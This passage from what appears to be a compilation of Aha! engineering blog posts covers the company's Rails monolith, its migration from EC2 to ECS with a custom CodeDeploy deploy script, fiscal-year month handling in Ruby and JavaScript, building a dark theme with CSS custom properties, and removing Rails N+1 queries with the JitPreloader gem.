There is no silver bullet in software architecture that will work for every team and application. For our team, the Rails monolith has so far met the needs of our engineers and our products. It has been described as the “least-worst architecture,” which is often the best option in computer science.

While keeping complexity in the code has many benefits we enjoy, it also comes with challenges. We encounter more of these challenges as we grow and have to evolve to resolve them.

Some of those evolutions even start to look a little different than a classic monolith. We are updating our background job processing by introducing event streaming with Kafka to supplement Resque background jobs. While this code runs on completely different physical architecture, it is still written to utilize the Rails monolith in the producers and consumers so we still reap the benefits of a single repository of shared code.

There is a very high level of code reuse in a monolith. While this is very beneficial in quickly building features, it actually comes as a cost to maintaining quality. It is imperative that teams using a monolith have test suites that cover their vital business functionality. Without proper test coverage, it is difficult for engineers to have confidence making changes to large monolithic systems.

A larger test suite comes with its own problems. As we covered earlier, Aha! engineers like to move fast and be agile enough to handle interruptions when they occur. Interruptions must be handled quickly in order for the responsive method to thrive. Each time we push a change, we are pushing the entire application with all functionality that exists in Aha! This means that as our test suite grows, it begins to limit how quickly we can push changes to production. This is why we built our pipeline so a deployment can quickly be rolled back to a previously stable version. We also generate blue/green deployments and validate the health of servers before rolling traffic to the new code.

It is also noteworthy that code complexity over organizational complexity requires an engineer to deeply understand all the impacts of a change on related functionality. Each of our engineers may be asked to handle complex tasks that cut across the application. Engineers must analyze the changes they are making to the system and have confidence that they are not causing other problems. Our code base can be difficult to manage for new engineers so we typically hire experienced engineers who are already familiar with the technology we are using.

Future of the monolith

We will continue to evolve our monolith and make alterations to the architecture to enable our needs. You can follow along here as we grow and expand our product suite and our monolith.

We don’t see any future where dismantling our monolith is a priority. Some of us have been on teams that spent months and even years converting monoliths into microservices. In the end these efforts usually produce systems that are tangled in dependencies and difficult for a single engineer to make meaningful changes within. It becomes difficult to drive changes on interruption and to quickly support customers across the stack.

For now, the monolith provides us with the tools to give our customers a complete product experience from lovable interactions to responsive support. Read along as we continue to share the journey over the next year and show ways that we are extending the life of our monolith.

We work fast at Aha! and we use our products to build our products. Our team is happy, productive, and hiring — join us!

Migrating from EC2 to ECS Services and Tasks

Bill Rastello — Fri, 11 Feb 2022 00:00:00 GMT

Our old system architecture here at Aha! has served us well. On top of RDS, ElastiCache, and other AWS services, we had hundreds of EC2 instances running Unicorn to serve web traffic. We used nginx and AWS ELBs for load balancing, Resque / resque-scheduler for workers, and a few other EC2 instances that ran miscellaneous services. These EC2 instances were all managed by AWS OpsWorks and Chef. This worked great for us for years, but started to introduce some challenges as we grew. Patching servers was an elaborate process, autoscaling was slow, and if deploys via Capistrano went wrong, we could be left in an inconsistent state. Worse, a bad Capistrano deploy had the potential to cause an outage. After evaluating our options, we decided to migrate our applications to ECS.

Why ECS

ECS is Amazon's container orchestration service. You can choose to run your Docker containers on your own EC2 instances, or can run them in AWS Fargate, which is a serverless option. When evaluating using Docker containers on ECS, the following really stood out to us:

Scalability. When scaling up, we used to have to wait for a large number of EC2 instances to start, be provisioned by Opsworks, and then deploy via capistrano manually. Now we can have ECS start and stop containers as needed, which takes significantly less time and uses already-built Docker images to ensure that we're deploying the code we're expecting to deploy. New EC2 instances join the cluster and automatically start hosting containers.
Security. Docker is generally very secure, with strict isolation on the application and kernel level. Using ECS on top of it allows us to set up IAM roles and security group rules, which can be unique for each individual ECS task. This allows us great power in isolating our resources.
Reproducible environments. When we deploy some code to staging, the Docker container is set up the exact same way that it's run in production. OS-level changes don't affect our application environments.
Potential cost savings. Instead of needing to run so many EC2 instances, we can run multiple ECS tasks on an EC2 instance. We then can allow these tasks to temporarily consume more memory (see memory vs. memory reservation) when needed. Before, we needed the EC2 instances to be sized to support the potential maximum amount of memory the application could consume.

Why not EKS / Kubernetes?

While Kubernetes and EKS are great solutions for orchestrating containers, we felt that the solution we came up with didn't need the additional Kubernetes layer on top of everything else. The big difference for us was that ECS allows for better IAM and networking integration, which allows us to set restrictive permissions and network access for each individual service. If we weren't already so heavily invested in AWS this wouldn't be as much of a benefit; but we have gotten a lot of mileage out of AWS' offerings and services.

New architecture

After some work, we were able to successfully migrate our infrastructure over from EC2 to ECS. On average, we have about 100 EC2 container instances that run the ECS agent. Across these container instances, we have a handful of ECS services - one for unicorns, a few for our various resque worker types, and ones for the additional web-facing applications. These services together run well over 500 ECS tasks. We also run some tasks that are not part of any service with higher memory limits for some jobs which we know require the additional resources. We also run these ad-hoc tasks as part of a deploy (more on that later).

We chose CodeDeploy to roll out new versions of the ECS services, using a blue/green deployment type. Blue/green CodeDeploys do not move traffic to the new code unless it has been healthy for a set amount of time. This means that a problem with our code or environment that is about to be deployed never causes an outage; the health-checks protect us from sending traffic to a badly configured revision. Since deploying ECS, our uptime has been well above 5 9's.

We chose CodeBuild to build the Docker images that CodeDeploy uses to roll out new code. Our main application's Docker image is very large (over 1GB). While CodeBuild does have a variety of caching options, none of them are optimized for large images, so a lot of time is spent either retrieving the existing Docker image from a cache, or just rebuilding the entire image from scratch. AWS is working on implementing support for Docker BuildKit's cache manifest, which will speed up CodeBuild jobs significantly since we will only pull the layers needed during build time. We are also looking into other ways to cache information, like using EFS to store compressed versions of directories that are often static.

All of this is managed via Terraform. We previously were using CloudFormation to manage our ECS clusters - however, we had to implement some workarounds in order to have true blue/green CodeDeploys. CloudFormation has some built-in support for blue/green deploys of ECS when you do a stack update, however we wanted to have the deploy process totally separate from any stack updates. This is not an issue with Terraform.

Deploying

One of the biggest challenges during the migration to ECS was the deploy process. Coming from using Capistrano for deploys, we are used to seeing Rails migrations output during the deploy process. That is especially critical so we can monitor any in-flight migrations and abort them if, for some reason, they are taking longer than we anticipate. This also lets us immediately see the reasons for failed migrations.

The default deploy process for ECS when using CloudFormation involves doing a CloudFormation stack update, which starts up new containers, waits for them to be healthy, then shuts the old containers down immediately. There is little in the way of monitoring of this process (you need to view the events for the specific service that's being updated), and if something goes wrong, there's no quick way to roll back to old code. While this would work for some of our smaller services that don't have any customer-facing components, we wanted something that was more robust when it comes to being able to monitor the deploy, have record of deploys, and be able to roll back code quickly and efficiently.

CodeDeploy ends up doing much of what we wanted out of the box - it keeps record of every deploy, lets us monitor the stage of the deploy, and allows us to quickly roll back code or abort in-progress deploys if anything goes wrong. However, it doesn't let us monitor (or even easily see the result of) migrations. We also have other tasks we want to execute - such as uploading assets to our CDN and tagging the release in Datadog and Sentry.

The solution - a deploy script

To get the exact results we needed, we built a deploy script which does the following:

Runs any steps that need to be executed before migrations begin by starting ECS tasks that run these steps. The deploy script waits for these to complete before continuing.
Runs migrations across all of our separate production environments. This is done by starting an ECS task that has all of our Rails code on it, but has the CMD in the Dockerfile set to just /bin/bash. Once started, the deploy script will SSH to the underlying EC2 instance that is running this ECS task, then run the equivalent of docker exec -t container /bin/bash -c 'run_migrations.sh'. This means that the migrations would be output to the deployer's terminal so the deploy can be monitored. A separate thread is spawned for each production environment so all migration logs are printed to the screen as they are executed (with a prefix to make it clear what environment the log is associated with). If something goes wrong and the migration exits with an exit code that is not 0, all migrations will be aborted. Additionally, if the deployer does a ctrl+c, all migrations would be halted as well.
- Note: the deploy script was written before Amazon ECS Exec was introduced early in 2021. If we were writing this deploy script now, we would likely use Amazon ECS Exec to connect to the containers, as opposed to SSHing to EC2 + running docker exec.
Starts the CodeDeploy deploys. We have a separate deploy for each production environment / Unicorns / worker types. The deploy script then monitors the status of all of these CodeDeploy deploys. If something goes wrong during any of these CodeDeploys (health check fails, new ECS tasks don't start, etc.), or the deployer does a ctrl+c, the deploy script will automatically trigger a rollback for each deploy.

Once all CodeDeploy deploys have completed, the script immediately terminates the old resque workers, instead of having both the old a new run for an extended period of time. Workers are considered successfully running if they start and stay running - we implemented a very simple TCP health check service which runs in the worker's container so that CodeDeploy (and the various listeners and load balancers) know that the workers are running.

At this point, the script runs anything that needs to be executed after the CodeDeploy deploys have finished (Slack notifications, etc.)

We've found this deploy system satisfies our needs well at this point, and also has helped catch bad code before it reaches production. However, we do eventually want to take things further, and use something like CodePipeline to handle this process. We would still need to work out how to have visibility into running migrations, but this will help simplify the deploy process, and rely less on a script that runs on the deployer's development machine.

Resque workers, long running jobs, ECS, and deploying

One of the biggest challenges we encountered was supporting long running resque jobs. When a CodeDeploy deploy finishes, the old instances are terminated after a set amount of time (or immediately, if desired). By default, when an ECS task is told to shutdown, it's sent a SIGTERM, then a SIGKILL after a 30 second grace period. This doesn't work well for resque jobs, since a SIGTERM or a SIGKILL would stop any currently-processing jobs. Changing the SIGTERM to a SIGQUIT instead is easy enough; our wrapper script traps the SIGTERM and sends a SIGQUIT instead.

Handling the automatic SIGKILL after a specified timeout is a bit more difficult. You can configure the timeout to be as long as you want - however, this puts the ECS task in a state where its desired state is STOPPING, but it's currently in a RUNNING state. At the time of this writing, anytime there is a task that's in this state, no additional ECS tasks can start on that container instance. ECS will assign a pending task to this 'stuck' instance, and wait until the stopping task finally does stop. We couldn't let a stopping job block a container instance like this.

The solution

After some experimenting, during a deploy we tell the old instances to terminate immediately after the new instances are up and healthy. This sends a SIGQUIT to all of the old running resque workers. We configured the SIGKILL timeout to be 3 minutes - this is a reasonable trade off, since our old unicorn containers would still be live at this point to serve as a backup.

For jobs which could take longer than 3 minutes to finish, we created special resque queues. Our job wrapper middleware intercepts the enqueue action, and additionally creates a new ECS task to handle the request. These new ECS workers continue processing until their current job is finished, or until they have been alive for 5 minutes, whichever is longer. We also keep some of these workers idle to respond to requests immediately, reducing processing latency.

This architecture has worked well for us, and also let us introduce additional kinds of workers, like ones that need to consume more memory than a standard job, or run cron jobs. If needed, we can also run some cluster instances with more memory than CPU power to run these 'jumbo' jobs.

Conclusion

Once we figured out the solution to workers during our deploy process, we went live. The best part is, nobody noticed - to our customers and the rest of the Aha! team, everything worked exactly as before. Now that we're on ECS, we've been able to easily scale up to handle unexpected load, quickly rollback deploys of code that didn't work as expected, and even enhance the developer experience at Aha! by introducing dynamic staging environments based on ECS.

Interested in working on fun projects like this? Check out our careers page to see our current openings in Engineering.

Fiscal years and how JavaScript is wrong about months

Michel Billard — Tue, 08 Feb 2022 00:00:00 GMT

Developers love working with dates. One day, someone asked themselves, what if the year didn’t start in January, but could start in any month of the year. Welcome to the fascinating world of fiscality.

One of the neat things about fiscal months is that you can’t know in which fiscal year a date is in until you know what the fiscal month is. A date in August 2022 can be in fiscal year 2021 if the fiscal month is September or later and in 2022 otherwise. Also very fun is the fact that some libraries expect months to be represented by the numbers from 0 to 11, while others use 1 to 12. I don’t know about you but, if I see month 3, I assume March, not April. Oh, and JavaScript and Ruby don’t agree.

# ruby
Date.new(2022, 2, 3) # => February 3rd, 2022

// JavaScript
new Date(2022, 2, 3) // => March 3rd, 2022

That means you have to be very careful when passing month indexes from Ruby to JavaScript and vice versa.

Displaying fiscal years

Our customers have long been able to specify what their fiscal month was, but we recently launched a new setting to let the customers customize how to display the fiscal years and quarters in their accounts.

There doesn’t seem to be any standards for displaying fiscal quarters so we provide a few options: the abbreviated fiscal year (ex: FY22) or the full fiscal year (ex: 2022 or 2021/22 when the fiscal month is anything other than January) as well as the option to put the quarter at the front or at the back.

So we end up with something like this:

# The fiscal year is the year it ends so the fiscal year for October 2019
# when the fiscal month of March (3) is the next year (2020)

# Special case for the default fiscal month of January (1) since
# it doesn't span 2 years. The current year is always the fiscal year.
if fiscal_month == 1
  return long_fiscal_year_format ? year.to_s : "FY#{year % 100}"
end

before_fiscal_month = month < fiscal_month
if before_fiscal_month
  # Render the year the fiscal year ends (the current year)
  # ex: 2018/2019 or FY19 if we're in 2019 and the fiscal year ends in 2019
  long_fiscal_year_format ? "#{year - 1}/#{year % 100}" : "FY#{year % 100}"
else
  # Render the year the fiscal year ends (the next year)
  # ex: 2019/2020 or FY20 if we're in 2019 and the fiscal year ends in 2020
  long_fiscal_year_format ? "#{year}/#{(year + 1) % 100}" : "FY#{(year + 1) % 100}"
end

Add a few tests and you’ve got yourself a nice simple method for displaying fiscal years.

Making sense of the January = 0 confusion

We had a really hard time knowing when we were using a zero-based index or a one-based index so we made a few changes to make the code much clearer:

Always use the one-based months in Ruby
Always use the one-based months in JavaScript
When we need to use a zero-based month in JavaScript (to create a date for example), first assign it to a variable that ends with index (ex: fiscalMonthIndex), then call the function with that new variable.
Be generous with comments

For example, when trying to figure out the fiscal quarter, we could do something like this:

// The fiscalMonth goes from 1 - 12, but date.month() goes from 0 - 11
const fiscalMonthIndex = this.options.fiscalMonth - 1;
return (date.month() - fiscalMonthIndex) % 3 === 0;

Now there’s very little confusion when using month numbers.

How to build a dark theme

Jonathan Steel — Thu, 23 Sep 2021 00:00:00 GMT

So you want to implement a dark theme for your app? All your favorite applications have it and your app should too. But will it be trivial or is it as daunting as it seems? Where do you even start?

You can break the process down into three different phases: choosing the technology you are going to use, building up your color palette, and applying the changes to your site. We went on the same journey at Aha! to add a dark theme to our agile development tool Aha! Develop. Here is an example of what it looks like in action.

Here is a breakdown of each of those steps.

Choosing the technology

The first thing you need to do is decide on the underlying CSS technology you are going to use to implement your colors. You might already be using a CSS preprocessor like LESS or SASS, and you might even have some color variables already defined. It seems natural to use these to solve theming, right? Probably not.

Imagine a simple CSS rule in your app today.

p {
  color: @textColor;
}

How would you apply dark mode to this? Intuitively, you would have a second set of color definitions for dark mode.

/* light_mode.less */

@textColor: #333;

/* dark_mode.less */

@textColor: #999;

But this doesn't help a preprocessor. They compile all your code into CSS in one pass. You would have to do two compilations into two entirely different theme bundles, one with the dark variables and one with light. Additionally, you have to manage downloading and using the proper stylesheet on the client's browser. Or you could have them download both sets and switch between which is being used, but this would impact performance. None of this is ideal. The next logical step is redefining the rule with an explicit dark mode variable.

@lightTextColor: #333;
@darkTextColor: #999;

p {
  color: @lightTextColor;
}

[data-theme='dark'] {
  p {
    color: @darkTextColor;
  }
}

That is going to be a huge mess to maintain. The larger your CSS codebase, the more exception rules you have for dark mode.

So what are you going to do? There is a better way.

CSS custom properties

CSS custom properties, sometimes known as CSS variables, seem custom-tailored to solve this problem. You simply define a set of variables that have different values depending on the theme.

root: {
  --text-color: #333;
  --background-color: #fff;
}

body.dark-mode {
  --text-color: #999;
  --background-color: #222;
}

p {
  color: var(--text-color);
  background-color: var(--background-color);
}

All you have to do is apply a dark-mode class to the body and everything will instantly change.

There are lots of great resources out there for learning how to use CSS custom properties like this one.

Building your color palette

Now that you have settled on the technology, it's time to write code, right? Almost. Now is the time to really plan ahead and set up a good color design system. Work with the interested parties, such as design and marketing, to come up with a scheme you can all agree on. Lack of consensus now can lead to a huge effort to refactor your colors again in the future. However, if you follow the naming scheme described later in this article, it won't be so bad even if you totally overhaul your palette. Here is what we came up with at Aha!

There are lots of good posts on color naming conventions. Here is a quick summary of the three most common approaches.

Semantic naming

You could name the colors after their function in the application. The problem with this approach is the number of times you will have to repeat the hex values. You might use the same color for text as you do for borders. Repeating the hex values will inevitably lead to someone creating just one more variable with one more hex code that isn't in your palette. So this scheme is out for now, but stay tuned, you have not seen the last of semantic naming.

--color-primary-text: #333;
--color-secondary-text: #999;
--color-danger: #f00;
--color-background: #fff;

Fun naming

You can also give each color a memorable name. Aesthetically, this one takes the cake. But you probably already have enough lists of classes and functions stored in your head already; you don't need another list to memorize.

--color-indigo: #4b0082;
--color-fire: #f3ba1c;
--color-firefly: #f9f925;
--color-old-van: #b6b5b1;

Mathematical naming

A more mathematical approach is to number the various shades for each hue. It's not as pretty but it clearly defines the relationship between each variable and is easy to remember. Using a single digit is common and so is using 0-900. Using 0-900 will give you room to expand if you need it in the future and nicely mirrors the font-weight 100-900 scale. This makes it easy for both developers and designers to understand.

--color-red-100: #fae7e1;
--color-red-200: #fac0af;
--color-red-300: #faa0a1;
--color-red-400: #fa9678;
--color-red-500: #ef8a6c;
--color-red-600: #eb7957;
--color-red-700: #ba4111;
--color-red-800: #992e0b;
--color-red-900: #772507;

Let's go with mathematical naming.

Using custom properties as RGB values

One useful trick is to break out your custom properties into two definitions so you can use them in contexts that require hex or RGB values.

--rgb-red-100: 250, 231, 225;
--rgb-red-200: 250, 192, 175;
--rgb-red-300: 250, 160, 161;

--color-red-100: rgb(var(--rgb-red-100));
--color-red-200: rgb(var(--rgb-red-200));
--color-red-400: rgb(var(--rgb-red-400));

p {
  color: var(--color-red-300);
  background-color: rgba(var(--rgb-red-300), 0.5);
}

If you are using a preprocess, it might get a little angry at the rgba(var( syntax. In LESS you have to escape the value:

p {
  background-color: ~'rgba(var(--rgb-red-100), 0.5)';
}

Adding a layer on top of the colors

Okay, the design system is now done, right? Nope. There is still more. We haven't talked about the two different themes yet. This is where semantic naming comes back into the picture. Semantic naming will work as the main interface to your palette, creating a level of abstraction on top of your custom properties created above. This is the magic that will make creating two themes a breeze.

You might ask, why not just invert the color layer and get dark mode for free? The issue with a simple inversion is that different parts of the app do not work well when you simply invert the colors. Here is an example to illustrate something like a card on a plain background.

In light mode, darker colors often communicate distance. In the example, the card feels like it sitting on top of the gray background. This sense of depth makes it easier to understand how this card fits in with the rest of the page. If you were to simply invert the colors, the card would be black and the background would be lighter than the card, causing the page to appear to have a large rectangular hole in it. It will look better if you customize the colors in dark mode to give that same sense of depth.

The semantic layer solves this issue by allowing you to subjectively customize elements on the page between the two themes. The amazing part of using this two-tier scheme is that extending to a third theme or even a custom one will be trivial. It is also much easier to choose the proper color custom property when designing and developing because the names clearly define which one you should use in a particular context.

This is what it will look like all combined.

root: {
  --rgb-red-100: 250, 231, 225;
  --rgb-red-200: 250, 192, 175;
  --rgb-red-300: 250, 160, 161;

  --color-red-100: rgb(var(--rgb-red-100));
  --color-red-200: rgb(var(--rgb-red-200));
  --color-red-400: rgb(var(--rgb-red-400));

  --theme-primary-text: var(--color-red-100);
  --theme-primary-background: var(--color-red-300);
}

[data-theme='dark'] {
  --theme-primary-text: var(--color-red-300);
  --theme-primary-background: var(--color-red-100);
}

This also gives you the flexibility to change the palette between the two themes. At Aha!, we introduced a bit of blue tinting into the gray palette and darkened the shades.

Coming up with semantic names is tough. It is going to require careful analysis of the structure of your app and lots of iteration. That leads us to the next section.

Applying the styles to your app

If your app is massive, it will seem like a daunting task to convert everything over to use these semantic names. It's probably going to take a while. Here is a simple way to break down the work.

Normalize your existing colors

First, go through the app and convert over your old hex values and variables to your new color naming scheme (not the semantic one). This should be relatively easy to do with regular expressions and global search and replace. It can be super handy to have a tool to match any hex values you find with the closest value in your palette.

I downloaded the source on this page and changed the .csv file to target a different list of colors.

Deploying these changes to production regularly will give you time to adjust any color changes you make to elements with colors that were not in your palette.

Convert one page to dark mode

Next, pick a page and take on dark mode. Restrict dark mode so that it only applies when dark mode is enabled and a specific flag is present for that page. Something like this:

.dark-mode-allowed[data-theme"dark"] {
  ...;
}

Here is how you would apply it to your page:

<body class="dark-mode-allowed" data-theme="dark"></body>

This will enable you to navigate to other pages without them looking terrible. If you add a feature flag to restrict to some test accounts, you can also deploy to production as you work. Go through everything on that page and convert it to use the semantic naming scheme. This is when you will actually be fleshing out that naming scheme. You can give the custom properties rough names until you use them a few times and figure out a good pattern. Be sure to revisit them often and look for anything you can merge. You don't have to worry about modifying styles shared between pages because the light mode value for those properties should be resolving to the same value as before.

Create a shortcut key sequence for switching between light and dark mode. This is also a great time to add a flashy transition between the two themes:

// Add a stylesheet to the body which makes switching to another mode fade
// between the two. Remove the style when done so it doesn't apply to normal
// changes.
function withCoolTransition(wrappedFunction) {
  const style = document.createElement('style');
  style.type = 'text/css';
  style.innerHTML = '* { transition: background-color 0.3s, border 0.3s; }';
  document.body.append(style);

  wrappedFunction();

  setTimeout(() => {
    document.body.removeChild(style);
  }, 300);
}

withCoolTransition(() => {
  document.body.setAttribute('data-theme', newTheme);
});

Completing dark mode

Repeat the process of converting over every page in your app. There may be a few gotchas along the way. Some things to watch out for include color pickers, user-generated content, and server-side rendering.

Color pickers are often provided to give a user the ability to change the appearance of something in the app. It might be okay to use the same colors for both themes but you might also want to transform those colors between the two themes. If you allow for a limited number of selections, then it's easy to build a mapping for the palette. If you allow choosing from the entire RGB spectrum, then you might have to create a mathematical formula for translating a color between themes. At Aha!, our color picker has a palette to choose from in addition to providing a custom color. We chose to map the palette and leave the custom ones alone.

User-generated content is anything where a user can enter content with colors, such as embedded HTML. It is another one to watch out for. We have a lot of user-generated content in Aha! that can be synced to and from external services via integrations. As such, we cannot use variables to represent those colors. The only way to handle the user-generated content is to parse the content and replace colors before displaying it to the user.

Server-side rendered content can be another source of color information. Because we use Rails at Aha!, we often generate the markup server-side. This includes transformations to some user-selected colors, such as those from the color picker. Helpers have to be tracked down and converted to return the proper color depending on the user's selected theme.

  def self.map_color_from_color_picker_to_dark_mode(color)
    return color unless dark_mode?

    if color[0] == "#"
      color = color[1..-1]
      add_hash = true
    end

    if color.length == 3
      color = color[0] * 2 + color[1] * 2 + color[2] * 2
    end

    new_color = PALETTE_COLORS_LIGHT_THEME_TO_DARK[color.downcase] || color

    add_hash ? "##{new_color}" : new_color
  end

Once you finish the last page, you can take off the training wheels by removing the dark-mode-allowed condition, enable any feature flags you created so everyone has access to the feature, and let your users take dark mode for a spin.

Job well done

Looking back, that might seem like a lot of work. It definitely isn't trivial. However, each step in the process is fairly simple and safe. It just takes time, patience, and maybe a little grit. Before you know it, your app is going to look amazing.

90% of Rails N+1 queries solved with a drop-in fix

Kyle d’Oliveira — Wed, 30 Jun 2021 00:00:00 GMT

N+1 queries come up very often when working with Rails. N+1 queries are a silent performance tax both for your application and for developers. If a developer writes new code that introduces an N+1 query, it only slows down performance. It does not influence behavior, so it is easy to sneak into production. Because it is so easy to make it to production, developers need to take extra time to be vigilant when writing and reviewing code. This is a lot of unnecessary work that we can avoid very easily with two simple lines.

What are the two lines?

The first line is an addition of a gem, JitPreloader, to your Gemfile.

gem 'jit_preloader'

The second line is in an initializer, such as config/initializer/jit_preloader.rb , that will enable it throughout your application.

JitPreloader.globally_enabled = true

With those two lines, the N+1 queries will disappear.

Before:

User.limit(10).each do |user|
  user.tasks.each do |task|
    ...
  end
end

[17:39:34.648]   User Load (1.0ms)  SELECT  "users".* FROM "users" LIMIT $1  [["LIMIT", 10]]

[17:39:34.707]   Task Load (1.6ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 1]]
[17:39:34.803]   Task Load (0.6ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 2]]
[17:39:34.805]   Task Load (0.4ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 3]]
[17:39:34.808]   Task Load (0.5ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 4]]
[17:39:34.810]   Task Load (0.3ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 5]]
[17:39:34.813]   Task Load (1.1ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 6]]
[17:39:34.815]   Task Load (0.3ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 7]]
[17:39:34.817]   Task Load (0.2ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 8]]
[17:39:34.818]   Task Load (0.2ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 9]]
[17:39:34.854]   Task Load (0.2ms)  SELECT "tasks".* WHERE "tasks"."user_id" = $1  [["user_id", 10]]

After:

User.limit(10).each do |user|
  user.tasks.each do |task|
    ...
  end
end

[17:42:25.668]   User Load (0.8ms)  SELECT  "users".* FROM "users" LIMIT $1  [["LIMIT", 10]]

[17:42:25.734]   Task Load (0.7ms)  SELECT "tasks".* FROM "tasks" WHERE "tasks"."user_id" IN ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)  [["user_id", 1], ["user_id", 2], ["user_id", 3], ["user_id", 4], ["user_id", 5], ["user_id", 6], ["user_id", 7], ["user_id", 8], ["user_id", 9], ["user_id", 10]]

You no longer need to use includes , preload , or eager_load . You will not need to audit the code to figure out what associations are being used or to find hidden N+1 queries. It is all handled automatically and it will only preload the association if you use it. You will always be preloading the exact right amount of data. We added these lines and immediately saw noticeable performance improvements:

Average PX Response Time	Improvement %
P75	8%
P90	22%
P95	31%
P99	38%

This is a huge benefit for the amount of work required.

How does it work?

The gem takes advantage of a standard preloading mechanism that Rails uses but that is not widely known. You typically have to deal with an N+1 query by locating where is generated and adding on includes, preload , or eager_load . E.g.:

User.includes(:tasks).limit(10) do |user|
  user.tasks.each do |task|
    ...
  end
end

Alternatively, you can preload the association later on using ActiveRecord::Associations::Preloader . E.g.:

users = User.limit(10)

ActiveRecord::Associations::Preloader.new.preload(users, :tasks)

users.each do |user|
  user.tasks.each do |task|
    ...
  end
end

With the JitPreloader, each ActiveRecord object returned from a query will have a reference to the other objects returned by the same query. If you access an association that has not been loaded yet, the gem will automatically load that association using ActiveRecord::Associations::Preloader across all of those objects. This works across all associations and only happens for associations that are accessed.

Does this get rid of all N+1 queries?

No, it does not. Our team at Aha! removed about 90% of the N+1 queries using the above two lines. Most N+1 queries can be fixed immediately and automatically, but there are certain patterns that are not automatically solved by this. These require more manual effort to fix.

It will not automatically fix N+1 queries that are generated through the use of aggregate methods. e.g.

User.limit(10).each do |user|
  user.tasks.count
end

[20:45:43.620]    (0.8ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 1]]
[20:45:43.623]    (0.5ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 2]]
[20:45:43.625]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 3]]
[20:45:43.627]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 4]]
[20:45:43.628]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 5]]
[20:45:43.630]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 6]]
[20:45:43.631]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 7]]
[20:45:43.633]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 8]]
[20:45:43.635]    (0.5ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 9]]
[20:45:43.637]    (0.4ms)  SELECT COUNT(*) FROM "tasks" WHERE "tasks"."user_id" = $1  [["user_id", 10]]

Luckily the JitPreloader offers a solution here as well. You can setup a special aggregation method that on the model that will allow you to preload this

class User < ApplicationRecord
  has_many_aggregate :tasks, :count_all, :count, "*", default: 0
end

# Now you can write
User.limit(10).each do |user|
  user.tasks_count_all
end

[20:57:26.235]   User Load (0.9ms)  SELECT  "users".* FROM "users" LIMIT $1  [["LIMIT", 10]]
[20:57:26.301]    (1.5ms)  SELECT COUNT(*) AS count_all, tasks.user_id AS tasks_user_id FROM "tasks" WHERE "tasks"."user_id" IN ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) GROUP BY task_users.user_id  [["user_id", 1], ["user_id", 2], ["user_id", 3], ["user_id", 4], ["user_id", 5], ["user_id", 6], ["user_id", 7], ["user_id", 8], ["user_id", 9], ["user_id", 10]]

It will not automatically fix N+1 queries due to an association being further queried

User.limit(10).each do |user|
  user.tasks.where("created_at > '2021-05-27 00:00:00'").each do |task|
    ...
  end
end

There is also a new pattern available from the JitPreloader that can help with this.

User.limit(10).each do |user|
 user.preload_scoped_relation(
    name: "Newly created tasks",
    base_association: :tasks,
    preload_scope: Task.where("created_at > '2021-05-27 00:00:00'")
  ).each do |task|
    ...
  end
end

[21:03:16.148]   User Load (0.5ms)  SELECT  "users".* FROM "users" LIMIT $1  [["LIMIT", 10]]

[21:03:16.200]   Task Load (0.4ms)  SELECT "tasks".* FROM "tasks" WHERE (created_at > '2021-05-27 00:00:00') AND "tasks"."user_id" IN ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) GROUP BY task_users.user_id  [["user_id", 1], ["user_id", 2], ["user_id", 3], ["user_id", 4], ["user_id", 5], ["user_id", 6], ["user_id", 7], ["user_id", 8], ["user_id", 9], ["user_id", 10]]

It will not automatically fix N+1 queries that are explicitly told to go back to the database

User.limit(10).each do |user|
  user.tasks.reload.each do |task|
    ...
  end
end

It will not automatically fix N+1 queries if you don't go through an association

User.limit(10).each do |user|
  Task.where(user_id: user.id).each do |task|
    ...
  end
end

Let's remove most of the N+1 queries from your application quickly, and give you some tools to tackle some of the more complicated N+1 query cases today.

I wrote the JitPreloader gem five years ago when I got tired of having to hunt down N+1 queries by hand. It is a piece of work that I am incredibly proud of, and I am consistently surprised how much value we can get from it. It is easy for everyone to take advantage of this work and get value from it as well. I want to thank my colleagues at Clio for helping redefine this concept into a production ready package.

If you've also felt that dissatisfaction with other tools, give Aha! Develop a try. Our early access program is open now and there are a limited number of spots available — sign up quickly if you are interested. Learn more about Aha! Develop and how you can request access so your team can start using it: https://www.aha.io/develop/overview

Web components and implicit slot names

Nathan Wright — Fri, 28 May 2021 00:00:00 GMT

Since the dawn of the internet, web developers have had an unfulfilled desire. We've wanted "living elements" that can automatically react to state changes and user input. We've wanted something with the expressive and reactive power of Javascript, the simplicity and ease of use of HTML, and we've wanted to have it all packaged up in a neat, reusable component.

The introduction and standardization of web components gave HTML this superpower. Developers are now able to create native, interactive, performant, and easily reusable components using only plain HTML and Javascript. Because web components are based on native browser technologies, they can be used in any site, anywhere, without requiring a large technological investment, or a large rewrite of existing code. They also play nicely with other web frameworks, and so can be used inside plain HTML documents as as well as React, Vue, Svelte, Angular, etc. components with very few issues. For technology companies like Aha!, the value add is simply too alluring to ignore.

Even though web components are a browser-native technology ... or perhaps because of it ... their interface often leaves much to be desired. Indeed, dozens of different web component frameworks exist expressly for the purpose of removing some of the more tedious details of using web components.

